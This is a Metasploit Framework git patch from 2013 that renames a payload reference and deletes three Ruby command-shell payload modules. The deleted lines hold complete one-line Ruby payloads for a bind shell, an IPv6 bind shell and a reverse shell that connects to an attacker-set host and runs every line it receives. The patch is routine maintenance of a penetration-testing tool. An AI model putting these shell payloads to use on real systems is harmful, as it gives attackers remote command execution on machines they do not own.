From 0fa2fcd8113aefeebe268990deba02104efc20cb Mon Sep 17 00:00:00 2001
From: HD Moore <hd_moore@rapid7.com>
Date: Thu, 10 Jan 2013 14:16:37 -0600
Subject: [PATCH] Rename again to be consistent with payload naming

---
 .../ui/console/command_dispatcher/exploit.rb  |  2 +-
 .../payloads/singles/ruby/shell/bind_tcp.rb   | 40 ------------------
 .../singles/ruby/shell/bind_tcp_ipv6.rb       | 40 ------------------
 .../singles/ruby/shell/reverse_tcp.rb         | 42 -------------------
 4 files changed, 1 insertion(+), 123 deletions(-)
 delete mode 100644 modules/payloads/singles/ruby/shell/bind_tcp.rb
 delete mode 100644 modules/payloads/singles/ruby/shell/bind_tcp_ipv6.rb
 delete mode 100644 modules/payloads/singles/ruby/shell/reverse_tcp.rb

diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb
index 10ccd4484f..7b9afc13a7 100644
--- a/lib/msf/ui/console/command_dispatcher/exploit.rb
+++ b/lib/msf/ui/console/command_dispatcher/exploit.rb
@@ -249,7 +249,7 @@ class Exploit
 			'java/meterpreter/reverse_tcp',
 			'php/meterpreter/reverse_tcp',
 			'php/meterpreter_reverse_tcp',
-			'ruby/shell/reverse_tcp',
+			'ruby/shell_reverse_tcp',
 			'cmd/unix/interact',
 			'cmd/unix/reverse',
 			'cmd/unix/reverse_perl',
diff --git a/modules/payloads/singles/ruby/shell/bind_tcp.rb b/modules/payloads/singles/ruby/shell/bind_tcp.rb
deleted file mode 100644
index c7ccfff7b9..0000000000
--- a/modules/payloads/singles/ruby/shell/bind_tcp.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-##
-# This file is part of the Metasploit Framework and may be subject to
-# redistribution and commercial restrictions. Please see the Metasploit
-# web site for more information on licensing and terms of use.
-#   http://metasploit.com/
-##
-
-require 'msf/core'
-require 'msf/core/handler/bind_tcp'
-require 'msf/base/sessions/command_shell'
-require 'msf/base/sessions/command_shell_options'
-
-module Metasploit3
-
-	include Msf::Payload::Single
-	include Msf::Sessions::CommandShellOptions
-
-	def initialize(info = {})
-		super(merge_info(info,
-			'Name'        => 'Ruby Command Shell, Bind TCP',
-			'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
-			'Author'      => [ 'kris katterjohn', 'hdm' ],
-			'License'     => MSF_LICENSE,
-			'Platform'    => 'ruby',
-			'Arch'        => ARCH_RUBY,
-			'Handler'     => Msf::Handler::BindTcp,
-			'Session'     => Msf::Sessions::CommandShell,
-			'PayloadType' => 'ruby',
-			'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
-		))
-	end
-
-	def generate
-		return super + ruby_string
-	end
-
-	def ruby_string
-		"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
-	end
-end
diff --git a/modules/payloads/singles/ruby/shell/bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell/bind_tcp_ipv6.rb
deleted file mode 100644
index 2e3926ca37..0000000000
--- a/modules/payloads/singles/ruby/shell/bind_tcp_ipv6.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-##
-# This file is part of the Metasploit Framework and may be subject to
-# redistribution and commercial restrictions. Please see the Metasploit
-# web site for more information on licensing and terms of use.
-#   http://metasploit.com/
-##
-
-require 'msf/core'
-require 'msf/core/handler/bind_tcp'
-require 'msf/base/sessions/command_shell'
-require 'msf/base/sessions/command_shell_options'
-
-module Metasploit3
-
-	include Msf::Payload::Single
-	include Msf::Sessions::CommandShellOptions
-
-	def initialize(info = {})
-		super(merge_info(info,
-			'Name'        => 'Ruby Command Shell, Bind TCP IPv6',
-			'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
-			'Author'      => [ 'kris katterjohn', 'hdm' ],
-			'License'     => MSF_LICENSE,
-			'Platform'    => 'ruby',
-			'Arch'        => ARCH_RUBY,
-			'Handler'     => Msf::Handler::BindTcp,
-			'Session'     => Msf::Sessions::CommandShell,
-			'PayloadType' => 'ruby',
-			'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
-		))
-	end
-
-	def generate
-		return super + ruby_string
-	end
-
-	def ruby_string
-		"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
-	end
-end
diff --git a/modules/payloads/singles/ruby/shell/reverse_tcp.rb b/modules/payloads/singles/ruby/shell/reverse_tcp.rb
deleted file mode 100644
index 0e149754cf..0000000000
--- a/modules/payloads/singles/ruby/shell/reverse_tcp.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-##
-# This file is part of the Metasploit Framework and may be subject to
-# redistribution and commercial restrictions. Please see the Metasploit
-# web site for more information on licensing and terms of use.
-#   http://metasploit.com/
-##
-
-require 'msf/core'
-require 'msf/core/handler/reverse_tcp'
-require 'msf/base/sessions/command_shell'
-require 'msf/base/sessions/command_shell_options'
-
-module Metasploit3
-
-	include Msf::Payload::Single
-	include Msf::Sessions::CommandShellOptions
-
-	def initialize(info = {})
-		super(merge_info(info,
-			'Name'        => 'Ruby Command Shell, Reverse TCP',
-			'Description' => 'Connect back and create a command shell via Ruby',
-			'Author'      => [ 'kris katterjohn', 'hdm' ],
-			'License'     => MSF_LICENSE,
-			'Platform'    => 'ruby',
-			'Arch'        => ARCH_RUBY,
-			'Handler'     => Msf::Handler::ReverseTcp,
-			'Session'     => Msf::Sessions::CommandShell,
-			'PayloadType' => 'ruby',
-			'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
-		))
-	end
-
-	def generate
-		return super + ruby_string
-	end
-
-	def ruby_string
-		lhost = datastore['LHOST']
-		lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-		"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
-	end
-end